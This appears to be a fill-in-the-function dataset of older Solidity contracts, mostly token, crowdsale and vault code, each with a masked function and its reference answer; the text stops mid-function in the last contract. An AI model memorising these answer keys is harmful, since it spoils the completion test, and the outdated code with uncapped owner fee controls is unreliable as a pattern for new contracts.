_taxWallet = payable(_msgSender()); _taxFee = 10; _uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; _maxTxAmount=_tTotal.div(100); _maxWallet=_tTotal.div(50); _allocate(address(this),_tTotal);
constructor ()
constructor ()
25,140
Vault
deposit
contract Vault is Ownable { using SafeMath for uint256; enum State { Active, Refunding, Withdraw } mapping (address => uint256) public deposited; address public wallet; State public state; event Withdraw(); event RefundsEnabled(); event Withdrawn(address _wallet); event Refunded(address indexed beneficiary, uint256 weiAmount); function Vault(address _wallet) public { require(_wallet != address(0)); wallet = _wallet; state = State.Active; } function deposit(address investor) public onlyOwner payable{<FILL_FUNCTION_BODY> } function activateWithdrawal() public onlyOwner { if(state == State.Active){ state = State.Withdraw; emit Withdraw(); } } function activateRefund()public onlyOwner { require(state == State.Active); state = State.Refunding; emit RefundsEnabled(); } function withdrawToWallet() onlyOwner public{ require(state == State.Withdraw); wallet.transfer(this.balance); emit Withdrawn(wallet); } function refund(address investor) public { require(state == State.Refunding); uint256 depositedValue = deposited[investor]; deposited[investor] = 0; investor.transfer(depositedValue); emit Refunded(investor, depositedValue); } function isRefunding()public onlyOwner view returns(bool) { return (state == State.Refunding); } }
contract Vault is Ownable { using SafeMath for uint256; enum State { Active, Refunding, Withdraw } mapping (address => uint256) public deposited; address public wallet; State public state; event Withdraw(); event RefundsEnabled(); event Withdrawn(address _wallet); event Refunded(address indexed beneficiary, uint256 weiAmount); function Vault(address _wallet) public { require(_wallet != address(0)); wallet = _wallet; state = State.Active; } <FILL_FUNCTION> function activateWithdrawal() public onlyOwner { if(state == State.Active){ state = State.Withdraw; emit Withdraw(); } } function activateRefund()public onlyOwner { require(state == State.Active); state = State.Refunding; emit RefundsEnabled(); } function withdrawToWallet() onlyOwner public{ require(state == State.Withdraw); wallet.transfer(this.balance); emit Withdrawn(wallet); } function refund(address investor) public { require(state == State.Refunding); uint256 depositedValue = deposited[investor]; deposited[investor] = 0; investor.transfer(depositedValue); emit Refunded(investor, depositedValue); } function isRefunding()public onlyOwner view returns(bool) { return (state == State.Refunding); } }
require(state == State.Active || state == State.Withdraw);//allowing to deposit even in withdraw state since withdraw state will be started once totalFunding reaches 10,000 ether deposited[investor] = deposited[investor].add(msg.value);
function deposit(address investor) public onlyOwner payable
function deposit(address investor) public onlyOwner payable
49,910
SealsToken
SealsToken
contract SealsToken is SafeMath, owned { string public name; string public symbol; uint8 public decimals; uint256 public totalSupply; mapping(address => uint256) public balanceOf; mapping(address => uint256) public freezeOf; mapping(address => mapping(address => uint256)) public allowance; mapping(address => bool) public frozenAccount; event FrozenFunds(address target, bool frozen); event Transfer(address indexed from, address indexed to, uint256 value); event Burn(address indexed from, uint256 value); event Freeze(address indexed from, uint256 value); event Unfreeze(address indexed from, uint256 value); function SealsToken(address _from, address _to) {<FILL_FUNCTION_BODY> } function freezeAccount(address target, bool freeze) onlyOwner { frozenAccount[target] = freeze; FrozenFunds(target, freeze); } function transfer(address _to, uint256 _value) { require(!frozenAccount[msg.sender]); if (_to == 0x0) revert(); if (_value <= 0) revert(); if (balanceOf[msg.sender] < _value) revert(); if (balanceOf[_to] + _value < balanceOf[_to]) revert(); balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value); balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], _value); Transfer(msg.sender, _to, _value); } function batchTransfer(address []toAddr, uint256 []value) returns(bool){ require(toAddr.length == value.length && toAddr.length >= 1); for (uint256 i = 0; i < toAddr.length; i++) { transfer(toAddr[i], value[i]); } } function approve(address _spender, uint256 _value) returns(bool success) { require((_value == 0) || (allowance[msg.sender][_spender] == 0)); if (_value <= 0) revert(); allowance[msg.sender][_spender] = _value; return true; } function transferFrom(address _from, address _to, uint256 _value) returns(bool success) { if (_to == 0x0) revert(); if (_value <= 0) revert(); if (balanceOf[_from] < _value) revert(); if (balanceOf[_to] + _value < balanceOf[_to]) revert(); if (_value > allowance[_from][msg.sender]) revert(); balanceOf[_from] = SafeMath.safeSub(balanceOf[_from], _value); balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], _value); allowance[_from][msg.sender] = SafeMath.safeSub(allowance[_from][msg.sender], _value); Transfer(_from, _to, _value); return true; } function burn(uint256 _value) returns(bool success) { if (balanceOf[msg.sender] < _value) revert(); if (_value <= 0) revert(); balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value); totalSupply = SafeMath.safeSub(totalSupply, _value); Burn(msg.sender, _value); return true; } function freeze(uint256 _value) returns(bool success) { if (balanceOf[msg.sender] < _value) revert(); if (_value <= 0) revert(); balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value); freezeOf[msg.sender] = SafeMath.safeAdd(freezeOf[msg.sender], _value); Freeze(msg.sender, _value); return true; } function unfreeze(uint256 _value) returns(bool success) { if (freezeOf[msg.sender] < _value) revert(); if (_value <= 0) revert(); freezeOf[msg.sender] = SafeMath.safeSub(freezeOf[msg.sender], _value); balanceOf[msg.sender] = SafeMath.safeAdd(balanceOf[msg.sender], _value); Unfreeze(msg.sender, _value); return true; } function () { revert(); } }
contract SealsToken is SafeMath, owned { string public name; string public symbol; uint8 public decimals; uint256 public totalSupply; mapping(address => uint256) public balanceOf; mapping(address => uint256) public freezeOf; mapping(address => mapping(address => uint256)) public allowance; mapping(address => bool) public frozenAccount; event FrozenFunds(address target, bool frozen); event Transfer(address indexed from, address indexed to, uint256 value); event Burn(address indexed from, uint256 value); event Freeze(address indexed from, uint256 value); event Unfreeze(address indexed from, uint256 value); <FILL_FUNCTION> function freezeAccount(address target, bool freeze) onlyOwner { frozenAccount[target] = freeze; FrozenFunds(target, freeze); } function transfer(address _to, uint256 _value) { require(!frozenAccount[msg.sender]); if (_to == 0x0) revert(); if (_value <= 0) revert(); if (balanceOf[msg.sender] < _value) revert(); if (balanceOf[_to] + _value < balanceOf[_to]) revert(); balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value); balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], _value); Transfer(msg.sender, _to, _value); } function batchTransfer(address []toAddr, uint256 []value) returns(bool){ require(toAddr.length == value.length && toAddr.length >= 1); for (uint256 i = 0; i < toAddr.length; i++) { transfer(toAddr[i], value[i]); } } function approve(address _spender, uint256 _value) returns(bool success) { require((_value == 0) || (allowance[msg.sender][_spender] == 0)); if (_value <= 0) revert(); allowance[msg.sender][_spender] = _value; return true; } function transferFrom(address _from, address _to, uint256 _value) returns(bool success) { if (_to == 0x0) revert(); if (_value <= 0) revert(); if (balanceOf[_from] < _value) revert(); if (balanceOf[_to] + _value < balanceOf[_to]) revert(); if (_value > allowance[_from][msg.sender]) revert(); balanceOf[_from] = SafeMath.safeSub(balanceOf[_from], _value); balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], _value); allowance[_from][msg.sender] = SafeMath.safeSub(allowance[_from][msg.sender], _value); Transfer(_from, _to, _value); return true; } function burn(uint256 _value) returns(bool success) { if (balanceOf[msg.sender] < _value) revert(); if (_value <= 0) revert(); balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value); totalSupply = SafeMath.safeSub(totalSupply, _value); Burn(msg.sender, _value); return true; } function freeze(uint256 _value) returns(bool success) { if (balanceOf[msg.sender] < _value) revert(); if (_value <= 0) revert(); balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value); freezeOf[msg.sender] = SafeMath.safeAdd(freezeOf[msg.sender], _value); Freeze(msg.sender, _value); return true; } function unfreeze(uint256 _value) returns(bool success) { if (freezeOf[msg.sender] < _value) revert(); if (_value <= 0) revert(); freezeOf[msg.sender] = SafeMath.safeSub(freezeOf[msg.sender], _value); balanceOf[msg.sender] = SafeMath.safeAdd(balanceOf[msg.sender], _value); Unfreeze(msg.sender, _value); return true; } function () { revert(); } }
totalSupply = 10000000000000; name = 'Seals'; symbol = 'Seals'; decimals = 8; balanceOf[_to] = totalSupply; Transfer(_from, _to, totalSupply);
function SealsToken(address _from, address _to)
function SealsToken(address _from, address _to)
33,325
LitToken
mintFull
contract LitToken is CappedToken { string public name = "LIT"; string public symbol = "LIT"; uint8 public constant decimals = 18; uint256 public constant decimalFactor = 10 ** uint256(decimals); // HN: initial totalSupply is premined amount or total after mining? // premined = 50B // total supply = 75B // rewarded for mining = 25B uint256 public initialSupply = 50 * (10**9) * decimalFactor; // 50B uint256 public maxSupply = 75 * (10**9) * decimalFactor; // 75B function LitToken() public CappedToken(maxSupply) { totalSupply_ = initialSupply; balances[msg.sender] = initialSupply; Mint(msg.sender, initialSupply); Transfer(address(0), msg.sender, initialSupply); } /** * @dev Function to mint tokens. Only part of amount would be minted * if amount exceeds cap * * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mintFull(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {<FILL_FUNCTION_BODY> } }
contract LitToken is CappedToken { string public name = "LIT"; string public symbol = "LIT"; uint8 public constant decimals = 18; uint256 public constant decimalFactor = 10 ** uint256(decimals); // HN: initial totalSupply is premined amount or total after mining? // premined = 50B // total supply = 75B // rewarded for mining = 25B uint256 public initialSupply = 50 * (10**9) * decimalFactor; // 50B uint256 public maxSupply = 75 * (10**9) * decimalFactor; // 75B function LitToken() public CappedToken(maxSupply) { totalSupply_ = initialSupply; balances[msg.sender] = initialSupply; Mint(msg.sender, initialSupply); Transfer(address(0), msg.sender, initialSupply); } <FILL_FUNCTION> }
require(totalSupply_ < cap); uint amountToMint; if (totalSupply_.add(_amount) >= cap) { amountToMint = cap.sub(totalSupply_); } else { amountToMint = _amount; } return MintableToken.mint(_to, amountToMint);
function mintFull(address _to, uint256 _amount) onlyOwner canMint public returns (bool)
/** * @dev Function to mint tokens. Only part of amount would be minted * if amount exceeds cap * * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mintFull(address _to, uint256 _amount) onlyOwner canMint public returns (bool)
22,012
QUIN_Token
null
contract QUIN_Token is StandardToken, Ownable { string public name; string public symbol; uint8 public decimals; uint256 public initialSupply; constructor() public {<FILL_FUNCTION_BODY> } }
contract QUIN_Token is StandardToken, Ownable { string public name; string public symbol; uint8 public decimals; uint256 public initialSupply; <FILL_FUNCTION> }
name = 'Quinty'; symbol = 'QUIN'; decimals = 18; initialSupply = 20000000 * 10 ** uint256(decimals); totalSupply_ = initialSupply; balances[owner] = initialSupply; emit Transfer(0x0, owner, initialSupply);
constructor() public
constructor() public
8,652
SetUsageExample
getSize
contract SetUsageExample { using SetLibrary for SetLibrary.Set; SetLibrary.Set private numberCollection; function addNumber(uint256 number) external { numberCollection.add(number); } function removeNumber(uint256 number) external { numberCollection.remove(number); } function getSize() external view returns (uint256 size) {<FILL_FUNCTION_BODY> } function containsNumber(uint256 number) external view returns (bool contained) { return numberCollection.contains(number); } function getNumberAtIndex(uint256 index) external view returns (uint256 number) { return numberCollection.values[index]; } }
contract SetUsageExample { using SetLibrary for SetLibrary.Set; SetLibrary.Set private numberCollection; function addNumber(uint256 number) external { numberCollection.add(number); } function removeNumber(uint256 number) external { numberCollection.remove(number); } <FILL_FUNCTION> function containsNumber(uint256 number) external view returns (bool contained) { return numberCollection.contains(number); } function getNumberAtIndex(uint256 index) external view returns (uint256 number) { return numberCollection.values[index]; } }
return numberCollection.size();
function getSize() external view returns (uint256 size)
function getSize() external view returns (uint256 size)
91,841
InRiddimCrowdsale
buy
contract InRiddimCrowdsale { // InRiddim Crowdsale function InRiddimCrowdsale(address _tokenManager, address _escrow) public { tokenManager = _tokenManager; escrow = _escrow; balanceOf[escrow] += 49000000000000000000000000; // Initialize Supply 49000000 totalSupply += 49000000000000000000000000; } /*/ * Constants /*/ string public name = "InRiddim"; string public symbol = "IRDM"; uint public decimals = 18; uint public constant PRICE = 400; // 400 IRDM per ETH // price // Cap is 127500 ETH // 1 ETH = 400 IRDM tokens uint public constant TOKEN_SUPPLY_LIMIT = PRICE * 250000 * (1 ether / 1 wei); // CAP 100000000 /*/ * Token State /*/ enum Phase { Created, Running, Paused, Migrating, Migrated } Phase public currentPhase = Phase.Created; uint public totalSupply = 0; // amount of tokens already sold // Token manager has exclusive priveleges to call administrative // functions on this contract. address public tokenManager; // Gathered funds can be withdrawn only to escrow's address. address public escrow; // Crowdsale manager has exclusive priveleges to burn tokens. address public crowdsaleManager; // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => bool) public isSaler; modifier onlyTokenManager() { require(msg.sender == tokenManager); _; } modifier onlyCrowdsaleManager() { require(msg.sender == crowdsaleManager); _; } modifier onlyEscrow() { require(msg.sender == escrow); _; } /*/ * Contract Events /*/ event LogBuy(address indexed owner, uint value); event LogBurn(address indexed owner, uint value); event LogPhaseSwitch(Phase newPhase); // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); /*/ * Public functions /*/ /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { require(_to != 0x0); require(_value > 0); require(balanceOf[_from] > _value); require(balanceOf[_to] + _value > balanceOf[_to]); require(balanceOf[msg.sender] - _value < balanceOf[msg.sender]); balanceOf[_from] -= _value; balanceOf[_to] += _value; Transfer(_from, _to, _value); } // Transfer the balance from owner's account to another account // only escrow can send token (to send token private sale) function transfer(address _to, uint256 _value) public onlyEscrow { _transfer(msg.sender, _to, _value); } function() payable public { buy(msg.sender); } function buy(address _buyer) payable public {<FILL_FUNCTION_BODY> } function buyTokens(address _saler) payable public { // Available only if presale is running. require(isSaler[_saler] == true); require(currentPhase == Phase.Running); require(msg.value != 0); uint newTokens = msg.value * PRICE; uint tokenForSaler = newTokens / 20; require(totalSupply + newTokens + tokenForSaler <= TOKEN_SUPPLY_LIMIT); balanceOf[_saler] += tokenForSaler; balanceOf[msg.sender] += newTokens; totalSupply += newTokens; totalSupply += tokenForSaler; LogBuy(msg.sender, newTokens); } /// @dev Returns number of tokens owned by given address. /// @param _owner Address of token owner. function burnTokens(address _owner) public onlyCrowdsaleManager { // Available only during migration phase require(currentPhase == Phase.Migrating); uint tokens = balanceOf[_owner]; require(tokens != 0); balanceOf[_owner] = 0; totalSupply -= tokens; LogBurn(_owner, tokens); // Automatically switch phase when migration is done. if (totalSupply == 0) { currentPhase = Phase.Migrated; LogPhaseSwitch(Phase.Migrated); } } /*/ * Administrative functions /*/ function setPresalePhase(Phase _nextPhase) public onlyTokenManager { bool canSwitchPhase = (currentPhase == Phase.Created && _nextPhase == Phase.Running) || (currentPhase == Phase.Running && _nextPhase == Phase.Paused) // switch to migration phase only if crowdsale manager is set || ((currentPhase == Phase.Running || currentPhase == Phase.Paused) && _nextPhase == Phase.Migrating && crowdsaleManager != 0x0) || (currentPhase == Phase.Paused && _nextPhase == Phase.Running) // switch to migrated only if everyting is migrated || (currentPhase == Phase.Migrating && _nextPhase == Phase.Migrated && totalSupply == 0); require(canSwitchPhase); currentPhase = _nextPhase; LogPhaseSwitch(_nextPhase); } function withdrawEther() public onlyTokenManager { require(escrow != 0x0); // Available at any phase. if (this.balance > 0) { escrow.transfer(this.balance); } } function setCrowdsaleManager(address _mgr) public onlyTokenManager { // You can't change crowdsale contract when migration is in progress. require(currentPhase != Phase.Migrating); crowdsaleManager = _mgr; } function addSaler(address _mgr) public onlyTokenManager { require(currentPhase != Phase.Migrating); isSaler[_mgr] = true; } function removeSaler(address _mgr) public onlyTokenManager { require(currentPhase != Phase.Migrating); isSaler[_mgr] = false; } }
contract InRiddimCrowdsale { // InRiddim Crowdsale function InRiddimCrowdsale(address _tokenManager, address _escrow) public { tokenManager = _tokenManager; escrow = _escrow; balanceOf[escrow] += 49000000000000000000000000; // Initialize Supply 49000000 totalSupply += 49000000000000000000000000; } /*/ * Constants /*/ string public name = "InRiddim"; string public symbol = "IRDM"; uint public decimals = 18; uint public constant PRICE = 400; // 400 IRDM per ETH // price // Cap is 127500 ETH // 1 ETH = 400 IRDM tokens uint public constant TOKEN_SUPPLY_LIMIT = PRICE * 250000 * (1 ether / 1 wei); // CAP 100000000 /*/ * Token State /*/ enum Phase { Created, Running, Paused, Migrating, Migrated } Phase public currentPhase = Phase.Created; uint public totalSupply = 0; // amount of tokens already sold // Token manager has exclusive priveleges to call administrative // functions on this contract. address public tokenManager; // Gathered funds can be withdrawn only to escrow's address. address public escrow; // Crowdsale manager has exclusive priveleges to burn tokens. address public crowdsaleManager; // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => bool) public isSaler; modifier onlyTokenManager() { require(msg.sender == tokenManager); _; } modifier onlyCrowdsaleManager() { require(msg.sender == crowdsaleManager); _; } modifier onlyEscrow() { require(msg.sender == escrow); _; } /*/ * Contract Events /*/ event LogBuy(address indexed owner, uint value); event LogBurn(address indexed owner, uint value); event LogPhaseSwitch(Phase newPhase); // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); /*/ * Public functions /*/ /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { require(_to != 0x0); require(_value > 0); require(balanceOf[_from] > _value); require(balanceOf[_to] + _value > balanceOf[_to]); require(balanceOf[msg.sender] - _value < balanceOf[msg.sender]); balanceOf[_from] -= _value; balanceOf[_to] += _value; Transfer(_from, _to, _value); } // Transfer the balance from owner's account to another account // only escrow can send token (to send token private sale) function transfer(address _to, uint256 _value) public onlyEscrow { _transfer(msg.sender, _to, _value); } function() payable public { buy(msg.sender); } <FILL_FUNCTION> function buyTokens(address _saler) payable public { // Available only if presale is running. require(isSaler[_saler] == true); require(currentPhase == Phase.Running); require(msg.value != 0); uint newTokens = msg.value * PRICE; uint tokenForSaler = newTokens / 20; require(totalSupply + newTokens + tokenForSaler <= TOKEN_SUPPLY_LIMIT); balanceOf[_saler] += tokenForSaler; balanceOf[msg.sender] += newTokens; totalSupply += newTokens; totalSupply += tokenForSaler; LogBuy(msg.sender, newTokens); } /// @dev Returns number of tokens owned by given address. /// @param _owner Address of token owner. function burnTokens(address _owner) public onlyCrowdsaleManager { // Available only during migration phase require(currentPhase == Phase.Migrating); uint tokens = balanceOf[_owner]; require(tokens != 0); balanceOf[_owner] = 0; totalSupply -= tokens; LogBurn(_owner, tokens); // Automatically switch phase when migration is done. if (totalSupply == 0) { currentPhase = Phase.Migrated; LogPhaseSwitch(Phase.Migrated); } } /*/ * Administrative functions /*/ function setPresalePhase(Phase _nextPhase) public onlyTokenManager { bool canSwitchPhase = (currentPhase == Phase.Created && _nextPhase == Phase.Running) || (currentPhase == Phase.Running && _nextPhase == Phase.Paused) // switch to migration phase only if crowdsale manager is set || ((currentPhase == Phase.Running || currentPhase == Phase.Paused) && _nextPhase == Phase.Migrating && crowdsaleManager != 0x0) || (currentPhase == Phase.Paused && _nextPhase == Phase.Running) // switch to migrated only if everyting is migrated || (currentPhase == Phase.Migrating && _nextPhase == Phase.Migrated && totalSupply == 0); require(canSwitchPhase); currentPhase = _nextPhase; LogPhaseSwitch(_nextPhase); } function withdrawEther() public onlyTokenManager { require(escrow != 0x0); // Available at any phase. if (this.balance > 0) { escrow.transfer(this.balance); } } function setCrowdsaleManager(address _mgr) public onlyTokenManager { // You can't change crowdsale contract when migration is in progress. require(currentPhase != Phase.Migrating); crowdsaleManager = _mgr; } function addSaler(address _mgr) public onlyTokenManager { require(currentPhase != Phase.Migrating); isSaler[_mgr] = true; } function removeSaler(address _mgr) public onlyTokenManager { require(currentPhase != Phase.Migrating); isSaler[_mgr] = false; } }
// Available only if presale is running. require(currentPhase == Phase.Running); require(msg.value != 0); uint newTokens = msg.value * PRICE; require (totalSupply + newTokens < TOKEN_SUPPLY_LIMIT); balanceOf[_buyer] += newTokens; totalSupply += newTokens; LogBuy(_buyer, newTokens);
function buy(address _buyer) payable public
function buy(address _buyer) payable public
48,094
Taxes
null
contract Taxes is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 100000000000 * 10**1 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private _name = "https://linktr.ee/TAXESNGMI"; string private _symbol = "TAX"; uint8 private _decimals = 9; uint256 public _taxFee = 2; uint256 private _previousTaxFee = _taxFee; uint256 public _liquidityFee = 8; uint256 private _previousLiquidityFee = _liquidityFee; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; address payable public _charityWalletAddress; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; uint256 public _maxTxAmount = 1000000000 * 10**1 * 10**9; uint256 private numTokensSellToAddToLiquidity = 300000000 * 10**1 * 10**9; event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap); event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor (address payable charityWalletAddress) public {<FILL_FUNCTION_BODY> } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcludedFromReward(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function deliver(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeFromReward(address account) public onlyOwner() { // require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.'); require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeInReward(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function excludeFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; } function includeInFee(address account) public onlyOwner { _isExcludedFromFee[account] = false; } function setTaxFeePercent(uint256 taxFee) external onlyOwner() { _taxFee = taxFee; } function setLiquidityFeePercent(uint256 liquidityFee) external onlyOwner() { _liquidityFee = liquidityFee; } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { _maxTxAmount = _tTotal.mul(maxTxPercent).div( 10**2 ); } function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner { swapAndLiquifyEnabled = _enabled; emit SwapAndLiquifyEnabledUpdated(_enabled); } //to recieve ETH from uniswapV2Router when swaping receive() external payable {} function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate()); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity); } function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) { uint256 tFee = calculateTaxFee(tAmount); uint256 tLiquidity = calculateLiquidityFee(tAmount); uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity); return (tTransferAmount, tFee, tLiquidity); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rLiquidity = tLiquidity.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _takeLiquidity(uint256 tLiquidity) private { uint256 currentRate = _getRate(); uint256 rLiquidity = tLiquidity.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity); } function calculateTaxFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_taxFee).div( 10**2 ); } function calculateLiquidityFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_liquidityFee).div( 10**2 ); } function removeAllFee() private { if(_taxFee == 0 && _liquidityFee == 0) return; _previousTaxFee = _taxFee; _previousLiquidityFee = _liquidityFee; _taxFee = 0; _liquidityFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _liquidityFee = _previousLiquidityFee; } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function sendBNBToCharity(uint256 amount) private { swapTokensForEth(amount); _charityWalletAddress.transfer(address(this).balance); } function _setCharityWallet(address payable charityWalletAddress) external onlyOwner() { _charityWalletAddress = charityWalletAddress; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner()) require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); // is the token balance of this contract address over the min number of // tokens that we need to initiate a swap + liquidity lock? // also, don't get caught in a circular liquidity event. // also, don't swap & liquify if sender is uniswap pair. uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity; if ( overMinTokenBalance && !inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled ) { contractTokenBalance = numTokensSellToAddToLiquidity; //add liquidity swapAndLiquify(contractTokenBalance); } //indicates if fee should be deducted from transfer bool takeFee = true; //if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } //transfer amount, it will take tax, burn, liquidity fee _tokenTransfer(from,to,amount,takeFee); } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { // split the contract balance into thirds uint256 halfOfLiquify = contractTokenBalance.div(4); uint256 otherHalfOfLiquify = contractTokenBalance.div(4); uint256 portionForFees = contractTokenBalance.sub(halfOfLiquify).sub(otherHalfOfLiquify); // capture the contract's current ETH balance. // this is so that we can capture exactly the amount of ETH that the // swap creates, and not make the liquidity event include any ETH that // has been manually sent to the contract uint256 initialBalance = address(this).balance; // 